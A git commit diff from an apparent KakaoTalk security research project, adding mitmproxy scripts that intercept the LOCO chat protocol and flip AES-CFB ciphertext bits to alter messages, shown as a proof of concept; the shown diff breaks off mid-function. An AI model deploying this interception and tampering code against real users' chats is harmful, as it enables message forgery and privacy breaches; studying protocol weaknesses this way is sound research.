Fix gitignore file

.gitignore

@@ -14,7 +14,6 @@ dist/
 downloads/
 eggs/
 .eggs/
-lib/
 lib64/
 parts/
 sdist/

doc/SECRET_CHAT.md

@@ -47,4 +47,4 @@ TODOS:
 
 Demo:
 
-![MITM](https://github.com/stulle123/kakaotalk_analysis/tree/main/doc/secret_chat_demo.gif?raw=true)
+![](https://github.com/stulle123/kakaotalk_analysis/blob/main/doc/secret_chat_demo.gif)

scripts/mitmproxy/flip_ciphertext_bits.py

@@ -26,11 +26,13 @@ class LocoMitmBase:
 
 
 class FlipCiphertextBits(LocoMitmBase):
-    def __init__(self) -> None:
+    def __init__(self, trigger_msg) -> None:
         self.parser = LocoParser()
+        self.trigger_msg = trigger_msg
 
     def tcp_message(self, flow: tcp.TCPFlow):
         message = flow.messages[-1]
+        flipped_packet = b""
         self.parser.parse(message.content)
 
         if self.parser.loco_packet:
@@ -48,11 +50,12 @@ class FlipCiphertextBits(LocoMitmBase):
 
             return
 
-        # Flip bits of the ciphertext to show CFB malleability
-        flipped_packet = self.parser.flip_bits()
+        # Flip ciphertext bits to show CFB malleability
+        if not message.from_client and self.parser.loco_packet.loco_command == "MSG":
+            flipped_packet = self.parser.flip_bits(self.trigger_msg)
 
         if flipped_packet:
             message.content = flipped_packet
 
 
-addons = [FlipCiphertextBits()]
+addons = [FlipCiphertextBits(trigger_msg="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")]

scripts/mitmproxy/lib/loco_packet.py

@@ -0,0 +1,120 @@
+import io
+import logging
+import struct
+
+import bson
+
+from lib.crypto_utils import aes_encrypt
+
+
+class LocoPacket:
+    def __init__(
+        self,
+        identifier=0,
+        status_code=0,
+        loco_command="",
+        body_type=0,
+        body_length=0,
+        body_payload=b"",
+    ):
+        self.id = identifier
+        self.status_code = status_code
+        self.loco_command = loco_command
+        self.body_type = body_type
+        self.body_length = body_length
+        self.body_payload = body_payload
+
+    def get_packet_bytes(self) -> bytes:
+        try:
+            f = io.BytesIO()
+            f.write(struct.pack("<I", self.id))
+            f.write(struct.pack("<H", self.status_code))
+            f.write(self.loco_command.encode("utf-8"))
+            f.write(b"\x00" * (11 - len(self.loco_command)))
+            f.write(struct.pack("<b", self.body_type))
+            f.write(struct.pack("<i", self.body_length))
+            f.write(self.body_payload)
+            return f.getvalue()
+        except Exception as general_exception:
+            logging.error("Could not create LOCO packet: %s", general_exception)
+            return None
+
+    def get_packet_as_dict(self) -> dict:
+        loco_dict = vars(self)
+
+        try:
+            if loco_dict["body_payload"] and isinstance(
+                loco_dict["body_payload"], bytes
+            ):
+                loco_dict["body_payload"] = bson.loads(self.body_payload)
+            elif loco_dict["body_payload"] and isinstance(
+                loco_dict["body_payload"], dict
+            ):
+                loco_dict["body_payload"] = self.body_payload
+        except Exception as general_exception:
+            loco_dict = {}
+            logging.error(
+                "Couldn't decode BSON body of %s packet. Exception: %s.",
+                self.loco_command,
+                general_exception,
+            )
+
+        return loco_dict
+
+
+class LocoEncryptedPacket:
+    def __init__(self, length=0, iv=b"", payload=b"", is_fragmented=False):
+        self.length = length
+        self.iv = iv
+        self.payload = payload
+        self.is_fragmented = is_fragmented
+
+    def create_new_packet(self, loco_packet: LocoPacket) -> bytes:
+        if not loco_packet:
+            logging.error(
+                "Could not create LOCO encrypted packet: LOCO packet data is None."
+            )
+            return None
+
+        encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv)
+
+        if not encrypted_packet:
+            logging.error("Could not encrypt LOCO packet.")
+            return None
+
+        try:
+            f = io.BytesIO()
+            f.write(struct.pack("<I", len(encrypted_packet) + len(self.iv)))
+            f.write(self.iv)
+            f.write(encrypted_packet)
+            return f.getvalue()
+        except Exception as general_exception:
+            logging.error(
+                "Could not create LOCO encrypted packet: %s", general_exception
+            )
+            return None
+
+    def get_packet_bytes(self) -> bytes:
+        try:
+            f = io.BytesIO()
+            f.write(struct.pack("<I", len(self.payload) + len(self.iv)))
+            f.write(self.iv)
+            f.write(self.payload)
+            return f.getvalue()
+        except Exception as general_exception:
+            logging.error(
+                "Could not convert LOCO encrypted packet to bytes: %s",
+                general_exception,
+            )
+            return None
+
+
+class LocoHandshakePacket:
+    def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
+        self.length = length
+        self.type = handshake_type
+        self.block_cipher_mode = block_cipher_mode
+        self.payload = payload
+
+        self.cipher_mode_map = {1: "CBC", 2: "AES/CFB/NoPadding", 3: "OFB"}
+        self.encryption_mode_map = {15: "RSA/NONE/OAEPWithSHA1AndMGF1Padding"}

scripts/mitmproxy/lib/loco_parser.py

@@ -3,11 +3,15 @@ import logging
 import struct
 
 import bson
-
-from lib.crypto_utils import (aes_decrypt, aes_e2e_decrypt, compute_nonce,
-                              get_clean_public_key, rsa_decrypt, rsa_encrypt)
-from lib.loco_packet import (LocoEncryptedPacket, LocoHandshakePacket,
-                             LocoPacket)
+from lib.crypto_utils import (
+    aes_decrypt,
+    aes_e2e_decrypt,
+    compute_nonce,
+    get_clean_public_key,
+    rsa_decrypt,
+    rsa_encrypt,
+)
+from lib.loco_packet import LocoEncryptedPacket, LocoHandshakePacket, LocoPacket
 
 
 class LocoParser:
@@ -126,23 +130,31 @@ class LocoParser:
     def _xor(self, param1, param2):
         return bytes((x ^ y) for (x, y) in zip(param1, param2))
 
-    def flip_bits(self):
-        if self.loco_packet.loco_command != "MSG":
+    def flip_bits(self, trigger_message):
+        if not self.loco_packet:
             return None
 
-        if self.loco_packet.body_length != 221:
-            logging.error("I'm NOT here: %s", self.loco_packet.body_length)
+        if self.loco_packet.loco_command not in ["MSG", "WRITE"]:
             return None
-        else:
-            logging.error("I'm here!")
 
-        # Patch size
+        body_json = self.loco_packet.body_payload
+
+        # Read message from "MSG" LOCO packet
+        if (
+            "chatLog" in body_json
+            and body_json["chatLog"]["message"] != trigger_message
+        ):
+            return None
+
+        # Patch size of the "message" field value
         # body = bytearray(self.loco_packet.body_payload)
         # body[128:129] = b"\x0F"
         # self.loco_packet.body_payload = bytes(body)
         # loco_encrypted = aes_encrypt(self.loco_packet.get_packet_bytes(), self.loco_encrypted_packet.iv)
         loco_encrypted = self.loco_encrypted_packet.payload
 
+        logging.warning("Flipping bits with known plaintext: %s", trigger_message)
+
         ciphertext = bytearray(loco_encrypted)
         p11 = b"AAAAAAAAAAAAAAAA"
         c11 = ciphertext[0xA0 : 0xA0 + 0x10]